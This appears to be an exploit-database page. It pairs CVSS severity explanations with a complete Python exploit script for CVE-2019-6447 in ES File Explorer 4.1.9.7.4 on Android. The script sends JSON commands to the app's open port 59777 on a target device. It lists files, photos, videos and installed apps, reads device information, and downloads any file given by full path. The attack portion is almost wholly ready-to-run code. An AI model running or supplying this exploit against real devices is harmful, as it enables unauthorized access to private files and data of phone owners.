The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: ES File Explorer 4.1.9.7.4 Arbitrary File Read
# Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read
# Date: 29/06/2021
# Exploit Author: Nehal Zaman
# Version: ES File Explorer v4.1.9.7.4
# Tested on: Android
# CVE : CVE-2019-6447
import requests
import json
import ast
import sys
if len(sys.argv) < 3:
print(f"USAGE {sys.argv[0]} <command> <IP> [file to download]")
sys.exit(1)
url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
print("[-] WRONG COMMAND!")
print("Available commands : ")
print(" listFiles : List all Files.")
print(" listPics : List all Pictures.")
print(" listVideos : List all videos.")
print(" listAudios : List all audios.")
print(" listApps : List Applications installed.")
print(" listAppsSystem : List System apps.")
print(" listAppsPhone : List Communication related apps.")
print(" listAppsSdcard : List apps on the SDCard.")
print(" listAppsAll : List all Application.")
print(" getFile : Download a file.")
print(" getDeviceInfo : Get device info.")
sys.exit(1)
print("\n==================================================================")
print("| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |")
print("| Coded By : Nehal a.k.a PwnerSec |")
print("==================================================================\n")
header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}
def httpPost(cmd):
data = json.dumps({"command":cmd})
response = requests.post(url, headers=header, data=data)
return ast.literal_eval(response.text)
def parse(text, keys):
for dic in text:
for key in keys:
print(f"{key} : {dic[key]}")
print('')
def do_listing(cmd):
response = httpPost(cmd)
if len(response) == 0:
keys = []
else:
keys = list(response[0].keys())
parse(response, keys)
if cmd in listCmds:
do_listing(cmd)
elif cmd == cmds[9]:
if len(sys.argv) != 4:
print("[+] Include file name to download.")
sys.exit(1)
elif sys.argv[3][0] != '/':
print("[-] You need to provide full path of the file.")
sys.exit(1)
else:
path = sys.argv[3]
print("[+] Downloading file...")
response = requests.get(url + path)
with open('out.dat','wb') as wf:
wf.write(response.content)
print("[+] Done. Saved as `out.dat`.")
elif cmd == cmds[10]:
response = httpPost(cmd)
keys = list(response.keys())
for key in keys:
print(f"{key} : {response[key]}")
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